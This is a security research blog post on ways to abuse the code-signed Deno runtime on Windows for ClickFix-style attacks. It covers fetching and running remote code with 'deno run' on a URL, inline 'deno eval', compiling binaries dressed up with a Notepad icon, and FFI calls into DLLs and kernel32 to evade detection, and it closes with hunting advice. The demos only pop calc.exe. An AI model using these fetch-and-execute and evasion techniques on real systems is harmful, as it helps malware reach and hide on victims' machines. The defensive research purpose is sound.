Evil Deno: Abusing the Nicest JavaScript Runtime

8 minute read Published: 2025-05-05

I've been following the development of Deno for some time. It kind of pushes all my buttons: a Rust-based Node alternative with an active web developer community?? Yes please.

As a developer, I've been looking for excuses to use Deno because, frankly, it's so much fun. It makes JavaScript/TypeScript enjoyable again by shipping sane defaults and making delightful choices about dependency management.

Deno also has some truly incredible features that go beyond the web development ecosystem. I want to focus on these features. I've wanted to explore Deno from an offensive security perspective for some time, but a new development in version 2.3 made this imperative: deno.exe—the standalone binary that constitutes the entire tool—is now code-signed on Windows.

Great news for Deno! But because of what Deno can do, it's also good news for those who would do nefarious things with it.

Code signing is a guarantee that the binary you got is the one you're supposed to have. It's supposed to be a higher level of trust than simply a hash checksum, since this is Microsoft telling you a trusted developer shipped this program.

It also means (for now), that Defender SmartScreen gives deno.exe a pass.

So what can Deno do for the red team and the ne'er-do-wells? I've put together a small sampling of demonstrations of Deno's capabilities.

I'm focusing somewhat on the "ClickFix" attack vector, since it is so prevalent at the time of writing, and apparently so effective. So with each of these, I want you to imagine some version of a user opening Win+R and pasting a short command in.

Feature 1: Executing Code via URL

This is honestly one of the coolest things Deno does in general. In Deno projects, you need not have a local node_modules folder. You can define dependencies via URL or even JSR path. These dependencies will be loaded at runtime—no fuss, no muss.

But that's not all. The deno run command honors URLs as well. Point it to any JavaScript or TypeScript file on the web, and it will download and execute immediately.

You can try that yourself, once Deno's installed, with:

deno run "https://codeberg.org/mttaggart/evildeno/raw/branch/main/url-fetch/evil.ts"

This technique is not fileless. The file will be downloaded and saved in %LOCALAPPDATA%\deno\remote\https. I'm not sure about the naming schema; it isn't the SHA256 hash of the file itself.

Of course, the code can be a great deal more obfuscated than this, and would be when used by the bad guys. This sample code pops calc.exe. I don't do much more than that in these demos—although do note that the code for this example is cross-platform. If the code executes on a Linux or macOS system, it will simply create an empty /tmp/evil file. Always nice to maintain one codebase, right?

Feature 2: Command-Line Evaluation

If you want to go semi-fileless, good news: deno eval will do just fine. Extracting the germane line from our original file, we can run:

deno eval "new Deno.Command('calc.exe').outputSync();"

As always, I'll leave actual attack strategies and obfuscation as exercises for the reader.

Feature 3: Compile to Standalone

One of the crazier consequences of Deno being written in Rust is that it takes full advantage of Rust's compilation abilities to easily produce standalone executables from JavaScript/TypeScript code. deno compile evil.ts produces a binary of the type used on the development system. But worry not: cross-compilation is a breeze. Adding --target x86_64-pc-windows-msvc will download the required dependencies and build a Windows .exe on Linux. In fact, you can even bring your own icon (and signing cert if you have one).

Putting it all together in the url-fetch directory, we have:

deno compile --icon notepad.ico --target x86_64-pc-windows-msvc --allow-run evil.ts

The result? A pretty legit-looking binary, that also happens to be huge.

But that's not always a bad thing. As I learned in previous adventures with Rust payloads, sometimes size is a benefit—scanning tools give up after so many bytes.

Feature 4: Foreign Function Interface (FFI)

This is the big one. This is the one that spooks me, because it was much easier to get going than it had any right to be.

Deno can import dynamic libraries. To emphasize: we have JavaScript or TypeScript that can call DLLs. When mixed with the inline-eval, we have an execution path for DLL functions that is so wacky as to confound most current detections.

There are a few different flavors of this that I want to explore, starting with bringing your own DLL.

In the dll-execution demo, I create a dynamic library (.so on Linux, .dll on Windows) using Rust. I actually find it easier to write DLLs in Rust than in C/C++. Take a look at the source code and tell me I'm crazy. And yes, this DLL makes Windows API calls. All it takes to import and execute this code in TypeScript is:

const dylib = Deno.dlopen(
  libName,
  {
    "do_stuff": { parameters: [], result: "void" },
  } as const,
);

// Call `do_stuff`
dylib.symbols.do_stuff();

The function do_stuff() has no parameters, but Deno has a comprehensive mapping of foreign types to Deno. Defining params with these types makes any function and its arguments accessible through Deno.

Once the DLL is compiled and shipped with the TypeScript file, deno can handle executing the TypeScript file, which in turn will access the DLL. Common detections like rundll32.exe are nowhere to be found.

As a treat for the red teamers, I've included a demo shellcode loader that takes advantage of my Bolus library for simple shellcode obfuscation and delivery. This is not particularly original, but again demonstrates the ease of integration between Deno, Rust, and the Windows API.

Feature 4.5: Native DLL Execution

I've saved the scariest one for last. It's one thing to ship a DLL of your own code, but it's always safe to live off the land. Deno can do that, no problem. Despite its idiosyncrasies, Deno can hook directly into the Windows API via FFI. In the native-dll demo, I access kernel32.dll and the CreateProcessA function to again pop calc.exe. Original? No, but what if this technique were used for something a bit more exotic, like destroying volume shadow copies without using vssadmin.exe or even WMI?

Interestingly, there is no evidence of a separate load of kernel32.dll in the execution chain. ProcMon shows:

  1. Querying the TypeScript
  2. Producing the parsed code to execute
  3. Analyzing the V8 runtime code cache (think bytecode)
  4. Querying calc.exe info and executing.

Detections and Conclusion

Deno is legitimate software. I use it to build Venture. However, like so many other tools, abuse is somewhat trivial. It is not complicated to get Deno's standalone binary on a system, and thereby make it available as an abuse vector. Even so, deno run with URLs, deno eval with any degree of obfuscation or use of FFI may be worth hunting on.

My other concern is hiding in plain sight. What if we renamed deno.exe to node.exe? Several applications ship a copy of node in their own directories. Placing deno in such a directory and naming it node would fool most analysts. "Oh, it's running index.js. That's what Node does!" Meanwhile, index.js is doing god-knows-what via FFI, and it'll never show up in telemetry.

I won't claim that this is any sort of groundbreaking research. There are plenty of dropper techniques out there. I find Deno's features particularly appealing in this regard, and I'm frankly shocked we haven't seen more of it. Maybe it's too niche, or maybe I just haven't seen it in my bubble. Either way, my many hours clocked as a JS developer may have granted an unexpected leg up on the bad guys for this one. We can see this one coming first, and defend against it.